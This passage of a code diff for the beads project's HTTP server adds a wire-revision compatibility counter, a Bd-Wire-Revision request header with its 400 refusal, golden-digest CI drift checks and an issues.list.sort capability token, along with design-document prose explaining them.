same digest also pins every operation PARAMETER (query, path and header), + keyed by operationId + location + name, and records its type, item shape, + enum, required-ness, effective style and explode (OpenAPI's defaults + filled in where unset), and default — a parameter retyped, re-enumerated, + narrowed, re-serialized, switched required, or removed is non-additive + exactly like a response or request-body member. A new member or + parameter always counts as additive, even a REQUIRED one an old client + will not send, and value constraints (`maxLength`, `pattern` and the + like) are outside the digest: such changes need their own review against + `wire_revision`. ### Changed diff --git a/engdocs/design/bd-serve-v0.md b/engdocs/design/bd-serve-v0.md index 7e5d050da..da461e51d 100644 --- a/engdocs/design/bd-serve-v0.md +++ b/engdocs/design/bd-serve-v0.md @@ -529,3 +529,127 @@ it cannot discover before connecting. Refusing keeps the published surface a property of the build, and matches how `bd` already answers this question one layer down, where a backend that cannot guarantee mutation-free access is turned away rather than opened anyway. + +## The wire-shape signal + +`capabilities` answers which OPERATIONS a build serves. Nothing answered +whether an operation's response SHAPE had changed underneath a client already +built against it — a client decoding a strict schema against a future server +that renamed or retyped a field it depends on would fail wherever it happened +to read that field, with no single place to check first. `wire_revision` and +`min_client_wire_revision`, both on `GET /v0/beads/context`, are that single +place. + +`wire_revision` is a counter, not a semver: it bumps only for a NON-ADDITIVE +change to an existing response member's JSON name or type (a new, purely +additive member needs no bump). The full history is the `wire_revision` +property's description in `openapi.v0.yaml` — `0` for every build before this +field existed (an integer `revision`, pre-#6053), `1` for the brief +string-typed `revision` (#6053), `2` for the first build carrying +`wire_revision` itself. A client talking to a build too old to answer this +field at all may use `bd_version` as an ADVISORY hint, never proof: compare it +as semver with pre-release identifiers and treat `>= 1.3.0-rc.1` (not the +release cutoff `1.3.0` — a `1.3.0-rc.N` build already carries the string shape +and sorts below `1.3.0`) as a hint toward `1`, else a hint toward `0`. Two +known builds defeat even that corrected hint: `main` up to commit +`b3ef65c85` reports `bd_version: "1.2.2"` while already sending strings, and +the bd-enterprise compatibility line at `d3ab32773462` reports `"1.1.0"` while +also sending strings. A client therefore MUST accept `revision` and +`expected_version` as either a string or a number whenever `wire_revision` is +absent (or probe the shape directly) rather than let the inferred value +choose a decoder, and MUST NEVER refuse solely because the inferred revision +is `0` — see the `wire_revision` property's description for the exact +language. + +`min_client_wire_revision` is the other half: the oldest revision a build +still answers correctly. A client that knows the revision it was compiled +against may assert it on ANY request via the optional `Bd-Wire-Revision` +header — not only the handshake — and `checkWireRevision` refuses a request +naming a revision below the floor with `400 invalid_argument`/ +`reason: "wire_revision_unsupported"` and a `min_wire_revision` field pinning +the floor that was violated, before the server does any work building a body +shaped for a revision the client has already said it cannot decode. The header +is optional and absent by default, which is what keeps this additive: an older +client that never sends it is served exactly as before. A malformed value +(not a non-negative integer) is a different mistake — `reason: "invalid_value"` +— and must never disclose `min_wire_revision`, which is reserved for a +revision the server actually read and understood to be too old. + +The check runs on every route but `GET /healthz` (`wireRevisionExempt`, +`routes.go`) — including the identity handshake itself, unlike the +`Bd-Project-Id` stamp, which exempts the handshake because that is how a +client LEARNS the id it must stamp with. A client that already knows the wire +revision it was built for has no equivalent reason to omit it on the very +first request, and the handshake is where a floor violation is cheapest to +catch: before the client has acted on anything shaped for a revision it +cannot decode. Liveness is exempt for the same reason `Bd-Project-Id` is: a +probe carries no notion of either header, and refusing it for one it never +had a reason to send would make `/healthz` lie about the process being alive. + +**The golden digest.** A revision bump is a promise a human makes; nothing +enforced that the promise was kept, or that it was even necessary. CI pins +one against the other with a golden digest, `internal/httpapi/wireshape`: +`wireshape.Compute` walks every response's AND every request body's every +content-type schema across the whole spec — not only `application/json`, so +`application/problem+json` and therefore `Problem` itself is covered too — +recursing through `$ref` and through a schema's own `allOf` or `oneOf`, and +recording, keyed by schema and member name, each member's JSON name, type, +format, enum values, required-ness, and nullability, plus the scalar shape of +array items and of `additionalProperties` map values. It records every +operation parameter (query, path, and header) as well, keyed by +`operationId`, location, and name rather than by schema — two operations' +same-named parameters are independent contracts — with its type, item shape, +enum values, required-ness, style, explode, and default; style and explode +are the effective values, OpenAPI's defaults filled in where the document +leaves them unset, so spelling a default out changes nothing while flipping +one does. The digest is a boundary, not the whole wire: value constraints +such as `maxLength` or `pattern` (on members and parameters alike) and a +composition keyword on a single member's own value are outside it, an +object-typed or `content`-described parameter is recorded only as its +container, and a new member or parameter always counts as additive — even a +required one an old client will not send — so each of those needs its own +review against `wire_revision`. `TestWireShapeDigest` fails on any +disagreement between golden and spec, and the failure names the fix: a +changed or removed entry without a `wire_revision` bump is drift nobody +signed off on; a `wire_revision` LOWER than the golden's means the constant +itself is wrong, since the revision table only ever grows; any other +difference — a bumped `wire_revision`, or entries only added — means the +golden is simply stale. Drift and staleness share one explicit fix, +`go run ./internal/httpapi/wireshape/cmd/gendigest` — never run to make a +failing test pass on an accidental shape change, only after the revision +bump and the `openapi.v0.yaml` history entry it belongs beside; the command +itself refuses to write a changed or removed entry unless `wire_revision` +has moved past what the existing golden recorded, and refuses any write at a +lowered `wire_revision`, so running it cannot silently launder drift into +the baseline. A purely additive diff — new members or parameters, with no +existing entry changed or removed — writes at the golden's own +`wire_revision` or any later one. + +**The new-parameter and new-request-body-member token rule.** `capabilities` +already required a `resource.verb` token for a new OPERATION; nothing +required one for a new PARAMETER, or new JSON request body member, on an +EXISTING operation, so a client had no single place to learn that, say, `GET +/v0/beads/issues`'s `sort` parameter had started accepting a value. +`issues.list.sort` is the first deliberate use of the same convention one +level down: the token lives in the parameter's (or body member's) own +description, exactly as `capabilities` members carry theirs, enforced by +`TestNewParameterOnExistingOperationHasABehaviorToken` against three frozen +baselines (`internal/httpapi/testdata/pretoken_parameters.json`, +`pretoken_request_body_members.json`, `pretoken_operations.json`) describing +every parameter, body member, and operation the document already had the day +the rule was written — written once and pinned never to grow +(`TestPretokenBaselinesNeverGrow`), since only something pre-existing and +untokened ever belongs on them, and a brand-new operation is permanently +exempt from the rule: its own review decides its capability story, not a +baseline written before it existed. A backticked `a.b`(`.c`)-shaped span in a +description is not enough on its own: the rule also checks the token against +`Capabilities()`'s own served list, so Go identifiers or example values that +merely look like a token (`workapi.DefaultReadyLimit`, `status.custom`) do not +satisfy it. `TestUntokenedParameterRuleFires` and +`TestUntokenedRequestBodyMemberRuleFires` prove the checker itself still +distinguishes tokened, grandfathered, and untokened parameters and body +members — including a real-but-unrelated token, which correctly passes, since +`Capabilities()` has no per-parameter binding to check a token's relevance +against, only its existence — against synthetic fixtures rather than the real +spec, so the rule's own logic is covered independently of whether the current +document happens to exercise every branch. diff --git a/internal/httpapi/BUILD.bazel b/internal/httpapi/BUILD.bazel index c0e0be8f4..091375c48 100644 --- a/internal/httpapi/BUILD.bazel +++ b/internal/httpapi/BUILD.bazel @@ -39,6 +39,7 @@ go_library( "sweep.go", "tree.go", "update.go", + "wire_revision.go", ], importpath = "github.com/steveyegge/beads/internal/httpapi", visibility = ["//:__subpackages__"], @@ -103,12 +104,13 @@ go_test( "tree_test.go", "update_test.go", "wire_bijection_test.go", + "wire_revision_test.go", ], data = [ "claim.go", "//cmd/bd:list.go", "//cmd/bd:ready.go", - ], + ] + glob(["testdata/**"]), embed = [":httpapi"], deps = [ "//internal/config", diff --git a/internal/httpapi/apigen/types.gen.go b/internal/httpapi/apigen/types.gen.go index 9ad2dc9be..0e414bbc2 100644 --- a/internal/httpapi/apigen/types.gen.go +++ b/internal/httpapi/apigen/types.gen.go @@ -1010,7 +1010,7 @@ type ContextResponse struct { // OPTIONAL, and absent means only that this server does not disclose its filesystem layout — never that it has no workspace. A client MUST NOT require it, MUST NOT treat absence as an error, and has no use for the value beyond display: it is a path on the SERVER's filesystem, which the client cannot open. Identify the workspace by `project_id` and `database`, which are required. BeadsDir *string `json:"beads_dir,omitempty"` - // Capabilities The tokens this server advertises: the OPERATIONS it implements, derived from its route table, and the server-wide BEHAVIORS it enforces. v0's operation vocabulary is `ready.list`, `ready.count`, `issues.list`, `issues.query`, `issues.count`, `issues.get`, `issues.related`, `issues.create`, `issues.addComment`, `issues.batchClose`, `issues.claim`, `issues.claimNext`, `issues.release`, `issues.close`, `issues.reopen`, `issues.update`, `issues.sweep`, `issues.delete`, `issues.batchCreate`, `issues.batchApply`, `stats.get`, `config.list`, `config.get`, `config.set`, `config.unset`, `dependencies.cycles`, `dependencies.list`, `dependencies.count`, `dependencies.blocking`, `dependencies.tree`, `dependencies.add`, `dependencies.remove`, `memories.list`, `memories.get`, `memories.remember`, `memories.forget`, `events.list`, `events.watch`, `issues.casMetadata`; the behavior tokens are `project.enforce`, which announces that a `Bd-Project-Id` stamp for the wrong workspace is refused here rather than silently ignored, and `issues.batchApplyLarge`, which announces that `POST /v0/beads/issues:batchApply` accepts the RAISED envelope — up to 1000 items (`ApplyBatchRequest.items.maxItems`), a 16 MiB body, and (for a request over 100 items) a run budget that EXTENDS to an operator-configured ceiling (`bd serve --large-apply-ceiling`, 5 minutes by default) — rather than the original 100-item, 4 MiB bound. The ceiling is a flat whole-run budget, not a value scaled by item count: a 101-item request and a 1000-item request both get the same extended budget. A request at or under 100 items is unaffected either way and keeps the server's ordinary deadline exactly as before. A client that checks for this token before sending a plan over 100 items learns whether THIS server accepts it without paying for a round trip an older server would refuse anyway. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. + // Capabilities The tokens this server advertises: the OPERATIONS it implements, derived from its route table, and the server-wide BEHAVIORS it enforces. v0's operation vocabulary is `ready.list`, `ready.count`, `issues.list`, `issues.query`, `issues.count`, `issues.get`, `issues.related`, `issues.create`, `issues.addComment`, `issues.batchClose`, `issues.claim`, `issues.claimNext`, `issues.release`, `issues.close`, `issues.reopen`, `issues.update`, `issues.sweep`, `issues.delete`, `issues.batchCreate`, `issues.batchApply`, `stats.get`, `config.list`, `config.get`, `config.set`, `config.unset`, `dependencies.cycles`, `dependencies.list`, `dependencies.count`, `dependencies.blocking`, `dependencies.tree`, `dependencies.add`, `dependencies.remove`, `memories.list`, `memories.get`, `memories.remember`, `memories.forget`, `events.list`, `events.watch`, `issues.casMetadata`; the behavior tokens are `project.enforce`, which announces that a `Bd-Project-Id` stamp for the wrong workspace is refused here rather than silently ignored, `issues.batchApplyLarge`, which announces that `POST /v0/beads/issues:batchApply` accepts the RAISED envelope — up to 1000 items (`ApplyBatchRequest.items.maxItems`), a 16 MiB body, and (for a request over 100 items) a run budget that EXTENDS to an operator-configured ceiling (`bd serve --large-apply-ceiling`, 5 minutes by default) — rather than the original 100-item, 4 MiB bound. The ceiling is a flat whole-run budget, not a value scaled by item count: a 101-item request and a 1000-item request both get the same extended budget. A request at or under 100 items is unaffected either way and keeps the server's ordinary deadline exactly as before. A client that checks for this token before sending a plan over 100 items learns whether THIS server accepts it without paying for a round trip an older server would refuse anyway, and `issues.list.sort`, which announces that `GET /v0/beads/issues` accepts the `sort` query parameter (two closed, pageable total orders — see that parameter) rather than silently answering `unknown_parameter`. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. // // THIS LIST IS BUILD-LEVEL, NOT WORKSPACE-LEVEL. It says which operations this binary serves, and for every entry but two that is the whole answer. `events.list` and `events.watch` are the exceptions: the durable events journal is a per-workspace setting that is OFF by default, so a server that advertises them may still refuse every request to both with 409 `events_journal_disabled` — correctly, because the operations exist and the workspace has no journal. A consumer of either MUST treat the capability as "this server speaks it" and the 409 as "not on this workspace", and must not read the capability as a promise that records will arrive. Capabilities []string `json:"capabilities"` @@ -1021,6 +1021,11 @@ type ContextResponse struct { // DoltMode Which storage mode this workspace is served from. DoltMode string `json:"dolt_mode"` + // MinClientWireRevision The OLDEST client `wire_revision` this server still answers correctly. A client whose own compiled `wire_revision` is below this number should refuse to dial at all, the same way it refuses an unknown `api_version`: nothing it does with a response shaped for this revision is safe to assume. + // + // A client MAY declare the revision it was built for on every request with the optional `Bd-Wire-Revision` header (see the document-level rule above). When it does, and the declared value is below this member, the server refuses with `400` / `code: invalid_argument` / `param: "Bd-Wire-Revision"` / `reason: "wire_revision_unsupported"` rather than risk serving a body the caller has already said it cannot decode. The header is OPTIONAL and an absent one is served exactly as today — this is additive wire surface, not a new precondition on requests already in the field, exactly as `Bd-Project-Id` is. + MinClientWireRevision int `json:"min_client_wire_revision"` + // ProjectId Logical project identifier. ProjectId string `json:"project_id"` @@ -1029,6 +1034,45 @@ type ContextResponse struct { // SchemaVersion The shared JSON schema version — the same constant the CLI's stdout JSON envelope reports. Diagnostic only: it can move for CLI-only reasons with no HTTP wire change, so clients MUST NOT branch on it. SchemaVersion int `json:"schema_version"` + + // WireRevision A counter bumped on every release whose wire format changed in a way an unaware client could MISDECODE: an existing member's JSON type or meaning changed, or a member was removed or renamed. Adding a brand-new member to an existing schema, or a brand-new operation, is ADDITIVE and never bumps it — an old client simply never asks for the new member and is unaffected. That promise does not extend to a new REQUIRED request input (a request-body member or a parameter): it misdecodes nothing, so it bumps nothing, but an old client that never sends it is refused. The drift gate below records a new required parameter or body member as an ordinary addition and asks for no bump, so keeping old clients working through one is that change's own review's job. + // + // Revision history, and it only ever grows by appending a row: + // + // * `0` — every server before 1.3.0. `revision` and + // `expected_version` were JSON integers, and this field did not + // exist: an absent `wire_revision` together with a `bd_version` + // below `1.3.0` IS a `0`. + // * `1` — 1.3.0 up to, but not including, the release that adds this + // field. `revision` and `expected_version` moved to DECIMAL-STRING + // tokens (#6053) under the same `api_version: "v0"`, with nothing + // in the handshake to tell an integer-expecting client the shape + // had moved underneath it. That silent gap is the whole reason + // this field exists. + // * `2` — the first release whose `ContextResponse` carries + // `wire_revision` and `min_client_wire_revision` at all (this one). + // + // + // PRESENCE, not just value: a generated client whose JSON decoder zero-values a missing integer field cannot tell, by looking at a decoded `0` alone, whether the server SENT `0` or sent nothing. This is never actually ambiguous in practice, because `0` and `1` are PERMANENTLY RETIRED values — they describe servers that predate this field or carried the brief interim string shape, and no server that implements this field (`CurrentWireRevision` starts at `2` and only increases) will ever legitimately send a literal `0` or `1`. A decoded `0` can therefore only mean "this server omitted the field," and a client inferring from `bd_version` per the paragraph below is doing exactly the right thing in that case, never guessing at a value the field could have meant on its own. A client that wants presence as a first-class fact rather than an inference anyway should decode `wire_revision` into a nullable type, or check for the JSON key's presence directly, instead of relying on this retirement guarantee. + // + // A client talking to a server that omits this member entirely is talking to a pre-signal server. `bd_version` is a HINT for that case, never proof: compare it as semver WITH PRE-RELEASE identifiers, and treat `>= 1.3.0-rc.1` — not the release cutoff `1.3.0` itself — as a hint toward `1`, anything below as a hint toward `0`. The release cutoff is wrong on its own because a `1.3.0-rc.N` pre-release build already carries the `1` shape and sorts BELOW `1.3.0`. + // + // Known exceptions make even that corrected hint unreliable, which is why it is advisory rather than authoritative: + // + // * Builds from `main` up to commit `b3ef65c85` report + // `bd_version: "1.2.2"` — below the `1.3.0-rc.1` hint cutoff — + // while already sending the string-typed shape (`1`, not `0`). + // * The bd-enterprise compatibility line at commit `d3ab32773462` + // reports `bd_version: "1.1.0"` while also sending the + // string-typed shape. + // + // + // Because builds like these exist, a client MUST NOT trust the inferred revision to pick a decoder. Instead it MUST do ONE of: accept `revision` and `expected_version` as EITHER a JSON string OR a JSON number whenever `wire_revision` is absent, or probe the actual shape directly (for instance by inspecting the JSON type of a `revision` value already in hand). A client MUST NEVER refuse a request solely because the inferred revision is `0` — `0` here means only "this is an unreliable hint," never a confirmed fact to gate decoding on by itself. A client that still cannot cope with either shape after probing must refuse to proceed rather than guess, exactly as it would for a `wire_revision` it read directly and does not understand. + // + // This document's own drift gate is `TestWireShapeDigest` (`internal/httpapi/wireshape`): a golden digest of every EXISTING response member AND request body member's (schema, member, type, format, enum, required, nullable), plus the item shape of an array member and the value shape of an `additionalProperties` map, recursing through `$ref` and through a schema's own `allOf` or `oneOf`. The same digest also covers every operation PARAMETER (query, path and header) across every operation, keyed by operationId + location + name rather than by schema, recording its type, item shape (for an array parameter), enum, required, style, explode and default — style and explode as their effective values, OpenAPI's defaults filled in where the document leaves them unset. It fails CI the moment any one of these — member or parameter — changes without this field's Go constant (`CurrentWireRevision`, `internal/httpapi/wire_revision.go`) increasing to match. Regenerate the golden with `go run ./internal/httpapi/wireshape/cmd/gendigest` after a deliberate, revision-bumped change, and commit the result — see that package's doc.go for the exact command. A purely additive member, parameter or operation also changes the golden (it is appended to, never frozen in place) but needs no revision bump to pass; the command itself refuses to write a changed or removed entry at an unbumped revision, refuses any write at a LOWER revision than the golden records, and refuses to create a golden that does not exist yet unless run with `-init`. The digest is a boundary, not the whole wire: value constraints such as `maxLength`, `maximum`, `pattern` or `maxItems` are outside it, on members and parameters alike, and so is a composition keyword on a single member's own value (this document uses none); an object-typed parameter, or one described by `content` rather than `schema`, is recorded only as its container. Narrowing a constraint trips no gate, so such a change must be weighed against this counter in its own review. + // + // Every request PARAMETER (query, path or header) and every request BODY MEMBER, added to an EXISTING operation after this document, must carry a capability token in its own description, exactly as `capabilities` members do above — `TestNewParameterOnExistingOperationHasABehaviorToken` enforces it against two frozen baselines (`internal/httpapi/testdata/pretoken_parameters.json` for parameters, `pretoken_request_body_members.json` for body members) of every parameter and body member this document already had the day each rule was written. A member on its baseline is grandfathered and never needs a token; any member not on it — present now or added later, on an operation that already existed when the relevant baseline was frozen — must carry one today. A BRAND-NEW operation (one absent from the third frozen file, `pretoken_operations.json`) is exempt entirely: its own review decides its capability story, not a baseline written before it existed. The token itself must also be one `Capabilities()` actually serves — a backticked string merely shaped like a token proves nothing on its own. All three baselines are written once and never regenerated: only a pre-existing, untokened member or operation ever belongs on them, a newly tokened member satisfies the rule without needing an entry at all, and `TestPretokenBaselinesNeverGrow` pins their sizes so nothing can hand-add a new exemption instead of a token. `issues.list.sort` is the first deliberate use of the parameter rule; it also closes the one gap the rule was written to catch, since `sort` itself shipped (#5666) with no token at all. + WireRevision int `json:"wire_revision"` } // CreateIssueDependency One edge created with the issue. It carries `reverse` where `BatchCreateDependency` does not, because that operation's items have no id a target could point back at and this one's issue does. @@ -1492,6 +1536,9 @@ type Problem struct { // IT IS OPTIONAL ON EVERY OPERATION BUT THE CLAIM. `POST /v0/beads/issues/{id}:claim` always carries it, because its conflict path reads the row it lost to. `PATCH /v0/beads/issues/{id}` and `POST /v0/beads/issues:batchApply` carry it only when the refusing transaction reported a holder, and `POST /v0/beads/issues/{id}:release` never does — the ownership fence refuses without naming anyone. An absent member means "this refusal could not name the holder", never "nobody holds it"; re-read the row. Assignee *string `json:"assignee,omitempty"` + // BdVersion With `invalid_argument` / `reason: "wire_revision_unsupported"` ONLY: this server's own `ContextResponse.bd_version`, for a client that logs or reports the refusal and wants the release string alongside the two wire-revision numbers rather than a second request to fetch it. It is set on that refusal and on no other. + BdVersion *string `json:"bd_version,omitempty"` + // BlockerId With `dependency_cycle`, hierarchy refusal only: the ancestor or descendant the edge named as blocker. See `issue_id`. BlockerId *string `json:"blocker_id,omitempty"` @@ -1562,6 +1609,9 @@ type Problem struct { // ItemKind The `kind` of the item at `item_index`, so a client can dispatch on what the item was doing without walking its own request back. ItemKind *string `json:"item_kind,omitempty"` + // MinWireRevision With `invalid_argument` / `reason: "wire_revision_unsupported"` ONLY: this server's own `ContextResponse.min_client_wire_revision`, so a client that declared a `Bd-Wire-Revision` can log exactly how far behind it is without re-deriving the number from `bd_version`. It is set on that refusal and on no other. + MinWireRevision *int `json:"min_wire_revision,omitempty"` + // OpenChildren With `not_closable`: how many open children the transaction that refused the close observed, read inside that transaction rather than parsed out of `detail`. // // PRESENT ONLY for the open-children refusal. The other `not_closable` refusal is a live blocker and carries `blockers` instead, so member presence — not prose — is how a client tells the two apart. Both are bypassed by `force`. @@ -1572,7 +1622,7 @@ type Problem struct { // With `precondition_failed`: the body member carrying the guard that missed. It is the same spelling a 400 on the same operation would use, so a client reads one member to find the offending input whichever way the request was refused. Param *string `json:"param,omitempty"` - // Reason With `invalid_argument`: `unknown_parameter` (this server does not know that parameter — version skew; degrade or fall back), `invalid_value` (the value is not one this server will act on: malformed, out of vocabulary, or — for `limit=0` under `--allow-non-loopback` — legal but refused in this server's configuration; `detail` says which), or `project_mismatch` (the `Bd-Project-Id` header named a project this server does not serve — a document-level refusal like the Host-header 400, raised on every enforced route, and the one that carries `server_project_id`; see the document-level rule). Either way the recovery is to send something different, never to retry the same request. The set may grow; default-branch on unknown values. + // Reason With `invalid_argument`: `unknown_parameter` (this server does not know that parameter — version skew; degrade or fall back), `invalid_value` (the value is not one this server will act on: malformed, out of vocabulary, or — for `limit=0` under `--allow-non-loopback` — legal but refused in this server's configuration; `detail` says which), `project_mismatch` (the `Bd-Project-Id` header named a project this server does not serve — a document-level refusal like the Host-header 400, raised on every enforced route, and the one that carries `server_project_id`; see the document-level rule), or `wire_revision_unsupported` (the `Bd-Wire-Revision` header named a revision below `ContextResponse.min_client_wire_revision` — also a document-level refusal, raised on every route including the identity handshake, and the one that carries `min_wire_revision`; see the document-level rule and `ContextResponse.wire_revision`). Either way the recovery is to send something different, never to retry the same request. The set may grow; default-branch on unknown values. Reason *string `json:"reason,omitempty"` // RequestId Opaque correlation id for this request, echoed in the server's request log line. Never a dispatch key and never a retry key. (This server mints per-process ids that do not survive a restart; a deployment may substitute any identifier with the same log-correlation property, such as an edge trace id.) @@ -1597,6 +1647,9 @@ type Problem struct { // Type RFC 9457 problem type. This server never emits it, so `about:blank` is implied. A deployment that hosts problem documentation MAY supply it: one stable URI per status+code pair, dereferencing to documentation for that pair. It restates identity that `code` already carries, so a client MUST NOT dispatch on it and a server MUST NOT use it to subdivide a code. Type *string `json:"type,omitempty"` + + // WireRevision With `invalid_argument` / `reason: "wire_revision_unsupported"` ONLY: this server's own current `ContextResponse.wire_revision`, alongside `min_wire_revision`, so a client logging the refusal has both ends of the supported range without a second request to `GET /v0/beads/context`. It is set on that refusal and on no other. + WireRevision *int `json:"wire_revision,omitempty"` } // QueryPage A page of query results. It is `ReadyPage`'s shape rather than `IssuesPage`'s, and the missing member is the point: a page of this operation carries no `next_cursor`, because a cursor is a keyset position in a database order and a predicate query's matching set is assembled outside the database. @@ -2197,7 +2250,7 @@ type ListIssuesParams struct { // // THE VOCABULARY IS CLOSED, and deliberately smaller than the nine values `bd list --sort` and `GET /v0/beads/issues:query` take. Each value here is a cursor contract, not a display preference: it needs a keyset predicate and a key proven total. See the operation description for why the other seven have neither. // - // A value outside the enum is a 400 `invalid_argument` with `param: "sort"` and `reason: "invalid_value"`. A server that predates this parameter answers `param: "sort"` with `reason: "unknown_parameter"` instead, which is the per-parameter capability probe a client can dispatch on to fall back to paging in `created` order and sorting client-side. + // A value outside the enum is a 400 `invalid_argument` with `param: "sort"` and `reason: "invalid_value"`. A server that predates this parameter answers `param: "sort"` with `reason: "unknown_parameter"` instead, which is the per-parameter capability probe a client can dispatch on to fall back to paging in `created` order and sorting client-side. This server also advertises the `issues.list.sort` token in `ContextResponse.capabilities` for exactly that check, so a client with capabilities cached from the handshake never has to pay for the round trip an old server's `unknown_parameter` answer costs. Sort *ListIssuesParamsSort `form:"sort,omitempty" json:"sort,omitempty"` // Cursor Opaque keyset position, taken verbatim from a previous response's `next_cursor`. Clients MUST NOT construct, parse or mutate it: its encoding is server-private and versioned, and an undecodable or unknown-version value is refused with 400 `invalid_cursor`. The recovery for that refusal is normative: restart paging with no `cursor` at all — the position cannot be salvaged, and re-sending the same value cannot succeed. diff --git a/internal/httpapi/handlers.go b/internal/httpapi/handlers.go index 3f593966b..29a36e336 100644 --- a/internal/httpapi/handlers.go +++ b/internal/httpapi/handlers.go @@ -95,9 +95,11 @@ func contextResponse(info domain.ContextInfo, schemaVersion int, capabilities [] } published := domain.PublishedContext(info) return apigen.ContextResponse{ - ApiVersion: APIVersion, - SchemaVersion: schemaVersion, - Capabilities: capabilities, + ApiVersion: APIVersion, + SchemaVersion: schemaVersion, + Capabilities: capabilities, + WireRevision: CurrentWireRevision, + MinClientWireRevision: MinClientWireRevision, BdVersion: published.BdVersion, Backend: published.Backend, diff --git a/internal/httpapi/problem.go b/internal/httpapi/problem.go index cab58a9dc..eeee88f25 100644 --- a/internal/httpapi/problem.go +++ b/internal/httpapi/problem.go @@ -306,6 +306,15 @@ const ( // `server_project_id`. The recovery is to stop stamping this server with // another workspace's id, never to retry the same request. ReasonProjectMismatch Reason = "project_mismatch" + // ReasonWireRevisionUnsupported means the request's Bd-Wire-Revision header + // named a revision below this server's ContextResponse.min_client_wire_revision. + // Like ReasonProjectMismatch it is a document-level 400 reachable on every + // enforced route — including the identity handshake itself — rather than + // per-operation behavior, and it is the one refusal that carries + // `min_wire_revision`. The recovery is to stop talking to this server with a + // client built for a revision it no longer supports, never to retry the same + // request. + ReasonWireRevisionUnsupported Reason = "wire_revision_unsupported" ) // staticDetail is the set of codes whose `detail` is FIXED, whatever the @@ -1345,6 +1354,37 @@ func ProjectMismatch(got, own string) Result { return res } +// WireRevisionUnsupported builds the 400 for a request whose Bd-Wire-Revision +// header names a revision below this server's own +// ContextResponse.min_client_wire_revision. got is the revision the client +// declared; min is this server's floor, disclosed in the `min_wire_revision` +// extension member for the same reason ProjectMismatch discloses +// `server_project_id`: so a client that already knows it declared a revision +// can tell exactly how far behind it is without re-deriving the number from +// `bd_version`. current and bdVersion are this server's own +// ContextResponse.wire_revision and ContextResponse.bd_version, disclosed in +// the `wire_revision` and `bd_version` extension members so a client logging +// or reporting the refusal has the server's full version story without a +// second request to GET /v0/beads/context (review: "include the server's +// current wire_revision and bd_version in the refusal problem body"). +// +// This is the ONLY refusal on the surface that sets `min_wire_revision`, +// `wire_revision` and `bd_version`, and — unlike ProjectMismatch, which is +// exempt on the identity handshake because that is where a client LEARNS the +// id it must stamp with — it is raised on GET /v0/beads/context too: a client +// that already knows the revision it was built for gains nothing from being +// served a body it has already said it cannot decode, and loses the chance to +// fail before acting on it. +func WireRevisionUnsupported(got, min, current int, bdVersion string) Result { + res := InvalidArgument(WireRevisionHeader, ReasonWireRevisionUnsupported, + "the "+WireRevisionHeader+" header names revision "+strconv.Itoa(got)+ + ", which is below the "+strconv.Itoa(min)+" this server still answers correctly") + res.Problem.MinWireRevision = &min + res.Problem.WireRevision = ¤t + res.Problem.BdVersion = &bdVersion + return res +} + // InvalidCursor builds the 400 for a cursor this server did not issue, cannot // decode, or issued under a different internal version. func InvalidCursor() Result { diff --git a/internal/httpapi/routes.go b/internal/httpapi/routes.go index acc417999..cb7a84b76 100644 --- a/internal/httpapi/routes.go +++ b/internal/httpapi/routes.go @@ -59,6 +59,23 @@ const CapProjectEnforce = "project.enforce" // round trip an old server would refuse anyway. const CapBatchApplyLarge = "issues.batchApplyLarge" +// CapIssuesListSort is the behavior capability that advertises GET +// /v0/beads/issues' `sort` parameter (reads.go, spec `sort` on OpListIssues). +// Like CapBatchApplyLarge it names a PARAMETER added to an existing operation +// rather than a route of its own — `issues.list` is already the per-operation +// token for the route itself — so it rides the same behaviorCapabilities list. +// +// The parameter shipped (#5666) with no token at all: a client already had the +// per-parameter fallback (an old server answers `sort` with 400 +// `unknown_parameter`, which doubles as a capability probe), but that means +// paying a round trip an old server would refuse anyway. A client that checks +// this token at handshake time learns the same thing for free. This is also +// the spec/lint rule in TestNewParameterOnExistingOperationHasABehaviorToken: +// `sort` predates that rule and would have failed it, so it is the parity fix +// — ent already advertises the equivalent token — that the rule's own +// baseline is built from. +const CapIssuesListSort = "issues.list.sort" + // customMethodTarget splits the custom method off the segment the router // matched, and reports the row that claims it. // @@ -173,6 +190,17 @@ type route struct { // reads that touch no workspace data are exempt and every other route — // streaming or not — is enforced. projectExempt bool + // wireRevisionExempt exempts an operation from the Bd-Wire-Revision floor + // check (checkWireRevision). Legitimate only for liveness: a kubelet probe + // carries no notion of a wire revision at all, and the check's refusal body + // is itself a `ContextResponse`-shaped disclosure the health row must never + // grow. It is deliberately NOT set on the identity handshake — unlike + // projectExempt, where the handshake is how a client LEARNS the id it must + // stamp with, a client that already knows the revision it was built for can + // and should declare it on the very first request, and the handshake is + // exactly where a floor violation is cheapest to catch: before the client + // has acted on anything shaped for a revision it cannot decode. + wireRevisionExempt bool // implemented gates the capability list, so a release between slices never // advertises an operation that does not work. Every v0 operation is // implemented as of the read-endpoints slice; the flag stays because the @@ -203,8 +231,12 @@ var routeTable = []route{ // liveness probe gated on a matching project stamp would go dark on a // misconfigured client exactly when an operator needs it most. projectExempt: true, - implemented: true, - handler: (*Server).handleHealth, + // Same reasoning extends to the wire-revision floor: a probe carries no + // `Bd-Wire-Revision` of its own, and must not be refused for a header it + // never had a reason to send. + wireRevisionExempt: true, + implemented: true, + handler: (*Server).handleHealth, }, { op: OpGetContext, @@ -778,7 +810,7 @@ func (r route) specPathOf() string { // route. project.enforce announces per-request Bd-Project-Id enforcement // (checkProjectStamp): a stamped client reads it to know the refusal is available // rather than silently dropped by an older server. -var behaviorCapabilities = []string{CapProjectEnforce, CapBatchApplyLarge} +var behaviorCapabilities = []string{CapProjectEnforce, CapBatchApplyLarge, CapIssuesListSort} // Capabilities lists what this build advertises in ContextResponse.capabilities: // the operations it actually implements, gated on `implemented` so a stub can diff --git a/internal/httpapi/server.go b/internal/httpapi/server.go index dfdff48f6..26de31cdb 100644 --- a/internal/httpapi/server.go +++ b/internal/httpapi/server.go @@ -491,6 +491,15 @@ type Server struct { writeStall time.Duration watchPoll time.Duration watchBeat time.Duration + // minClientWireRevision is the field checkWireRevision enforces against. + // It starts at the package constant MinClientWireRevision and exists as + // a field, rather than a direct read of that constant, only so a test can + // raise the floor in milliseconds the way it shrinks semTimeout above — + // production never overrides it. Unlike semTimeout et al it is an int + // with no zero-value ambiguity to paper over with orDefault: the + // constant's own real-world default is 0, so a freshly zeroed Server + // behaves identically whether or not Listen ran yet. + minClientWireRevision int // drainTimeout overrides the package-level drainTimeout constant used as // drainBudget's floor. A test shrinks this to prove Serve's drain 